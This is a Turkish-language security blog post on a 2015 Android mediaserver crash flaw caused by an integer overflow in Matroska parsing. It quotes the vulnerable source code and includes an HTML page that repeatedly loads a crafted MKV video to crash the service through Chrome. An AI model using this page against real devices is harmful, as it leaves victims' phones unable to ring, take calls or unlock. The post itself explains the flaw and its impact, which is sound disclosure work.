Android Kritik Crash Zafiyeti

Geçtiğimiz günlerde android cihazlar üzerinde kritik seviyede yeni bir güvenlik zafiyeti duyuruldu. Bu zafiyet sayesinde etkisi altında bulunduğu android cihazları uzaktan kullanılamaz hale getirebilmektedir. Trend Micro güvenlik araştırmacıların geliştirdiği yeni bir saldırı tekniği sayesinde %55 ve üzerindeki android cihazlarda rastlanan bu zafiyet ile cihazın telefon görüşmesi ve diğer temel fonksiyonlarıda dahil olmak üzere bir çok fonksiyonlarının çökmesi mümkün hale gelebilmektedir. Android cihazların 4.3 Jelly Bean versiyonu ve üzerinde hatta Android 5.1.1 Lollipop versiyonu dahil olmak üzere bu zafiyetin etkisi altında gösterilmektedir. Zimperium güvenlik araştırmacıların uyarılarına göre neredeyse 950 milyon android cihazın sadece basit bir mesaj sayesinde bu zafiyetten etkilenebileceği söylenmektedir.

Nasıl sömürülebilir?

Saldırgan bu zafiyeti 2 yol ile sömürebilir. Bunlar:

  • Zararlı android uygulaması sayesinde
  • Özel olarak hazırlanmış bir websitesi sayesinde

Bu zafiyeti sömürmenin en kolay yöntemlerinden biri savunmasız android kullanıcılarını cezbeden bir web sitesi oluşturulmasıdır. Muhtemelen bu durumda telefon tekrar başladıktan sonra kendine gelecektir. Ancak zafiyet bir mobil uygulama ile gerçekleştirildiğinde etkisinin uzun süreli olduğu söylenmektedir.

Mobil üzerinden sömürme

Android üzerinde bulunan mediaserver servisini etkilemektedir. Android içerisinde ön tanımlı olarak gelen medya dosyalarını indeksleyen bir servistir. Önceden düzenlenmiş olan MKV uzantılı bir video dosyasını Matroska container ile açtığımızda servis düzgün bir şekilde çalışmadığından çökmesinin ardından işletim sistemini de etkileyebilmektedir.

Zafiyetin nedeni integer overflow etkisinden dolayı mediaserver servisinin MKV uzantılı dosyayı ayrıştıramamasıdır. Ses dosyalarını ayrıştırırken tampon dışında bellek okumasından veya adreslere boş bir veri yazmasından ortaya çıkmaktadır. Aşağıda kaynak kodu tespit edilen Matroska container dosyasının uzantısı “frameworks/av/media/libstagefright/matroska/MatroskaExtractor.cpp” bize zafiyetin kaynağını göstermektedir.

size_t offset = 1;
size_t len1 = 0;
while (offset < codecPrivateSize && codecPrivate[offset] == 0xff)

{//codecPrivate is controlled by the mkv file len1 += 0xff; ++offset; }

if (offset >= codecPrivateSize) {


return ERROR_MALFORMED;
}
len1 += codecPrivate[offset++];

size_t len2 = 0;
while (offset < codecPrivateSize && codecPrivate[offset] == 0xff)

{ len2 += 0xff; ++offset; } if (offset >= codecPrivateSize) {
return ERROR_MALFORMED;
}
len2 += codecPrivate[offset++];

if (codecPrivateSize < offset + len1 + len2) {//len1 or len2 maybe

0xffffffff, then integer overflow happened return ERROR_MALFORMED; }

if (codecPrivate[offset] != 0x01) { return ERROR_MALFORMED; } meta->setData(kKeyVorbisInfo, 0, &codecPrivate[offset], len1);//crash in here

Test için önceden düzenlenmiş MKV uzantılı bir video dosyasının, çalıştırıldığında saldırı fonksiyonlarının nasıl çalıştığı gösterilmektedir. Uygulamayı başlattığımızda mediaserver servisi kendini sürekli çökmeye itecektir.

Şekil 1: Zafiyet sömürüldükten sonra mediaserver servisinin kendini sürekli yeniden başlatması

Yapılan saldırı sonucunda android cihaz kullanılamaz hale gelmektedir. Bu zafiyet sonrasındaki etkiler:

  • Telefon üzerindeki seslerin çalmaması, telefona gelebilecek arama ve smslerden haberdar olunmaması
  • Telefon arayüzünün geç yanıt vermesi veya tamamı ile cevapsız kalması, telefon kilitte kaldıysa kilit açılmaması
mobil
Şekil 2: Android cep telefonun kullanılamaz hale gelmesi

Web üzerinden sömürme

Aşağıda gösterilen kodun websitesine yüklendikten sonra yapılan testlerde chrome tarayıcısı üzerinde aynı etkiyi göstermektedir.

<html>

<body onload=”setInterval(‘Crash()’, 5000);”>

<video id=”crash” src=”crash.mkv” controls=”controls”>

Your browser does not support the video tag.

</video>

<script language=”javascript”>

function Crash() {

var crash = document.getElementById(“crash”);

crash.load();

crash.play();

}

</script>

</body>

</html>

Kullanıcılar android cihaz üzerinde chrome tarayıcısının ayarlarından öntanımlı ve otamatik video yüklenmesi özelliğini kaldırsalar dahi chrome, mediaserver çökene kadar 16mb ve üzerinde dosyayı okuyabilmektedir. Yapılan konfigürasyon ayarlarına rağmen bypass ettiği görülmektedir.

Nasıl önüne geçilir?

Zafiyet ile ilgili henüz yayınlanmış bir yama bulunmamaktadır.

Kaynaklar

http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-vulnerability-that-renders-android-devices-silent/

http://thehackernews.com/2015/07/android-vulnerability-crash.html